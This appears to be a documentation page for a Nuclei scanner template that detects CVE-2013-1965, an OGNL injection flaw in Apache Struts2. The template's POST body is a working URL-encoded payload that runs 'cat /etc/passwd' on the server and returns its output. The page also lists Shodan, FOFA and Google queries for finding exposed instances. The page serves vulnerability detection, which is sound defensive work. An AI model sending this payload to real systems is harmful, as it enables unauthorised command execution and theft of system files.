Apache Struts2 S2-012 RCE
ID: CVE-2013-1965
Severity: critical
Author: pikpikcu
Tags: cve2013,cve,apache,rce,struts,ognl
Description
Section titled “Description”Apache Struts Showcase App 2.0.0 through 2.3.13, as used in Struts 2 before 2.3.14.3, allows remote attackers to execute arbitrary OGNL code via a crafted parameter name that is not properly handled when invoking a redirect.
YAML Source
Section titled “YAML Source”id: CVE-2013-1965
info: name: Apache Struts2 S2-012 RCE author: pikpikcu severity: critical description: Apache Struts Showcase App 2.0.0 through 2.3.13, as used in Struts 2 before 2.3.14.3, allows remote attackers to execute arbitrary OGNL code via a crafted parameter name that is not properly handled when invoking a redirect. impact: | Successful exploitation of this vulnerability can lead to remote code execution on the affected server. remediation: Developers should immediately upgrade to Struts 2.3.14.3 or later. reference: - http://struts.apache.org/development/2.x/docs/s2-012.html - https://nvd.nist.gov/vuln/detail/CVE-2013-1965 - https://bugzilla.redhat.com/show_bug.cgi?id=967655 - https://github.com/CrackerCat/myhktools - https://github.com/GhostTroops/myhktools classification: cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:C/I:C/A:C cvss-score: 9.3 cve-id: CVE-2013-1965 cwe-id: CWE-94 epss-score: 0.00813 epss-percentile: 0.79935 cpe: cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: apache product: struts shodan-query: - http.html:"apache struts" - http.title:"struts2 showcase" - http.html:"struts problem report" fofa-query: - body="struts problem report" - title="struts2 showcase" - body="apache struts" google-query: intitle:"struts2 showcase" tags: cve2013,cve,apache,rce,struts,ognl
http: - method: POST path: - "{{BaseURL}}/user.action"
body: | name=%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22cat%22%2C+%22%2Fetc%2Fpasswd%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D
headers: Content-Type: application/x-www-form-urlencoded
matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:"
- type: status status: - 200# digest: 490a00463044022054a9e98ad709f98af1c64bbc49221b1ec4946d71336ab41ad449c92752b524ef022079a397777709392469b5503df9dfa895586e2c00a929cef67732d9cd1d0f6b5e:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2013/CVE-2013-1965.yaml"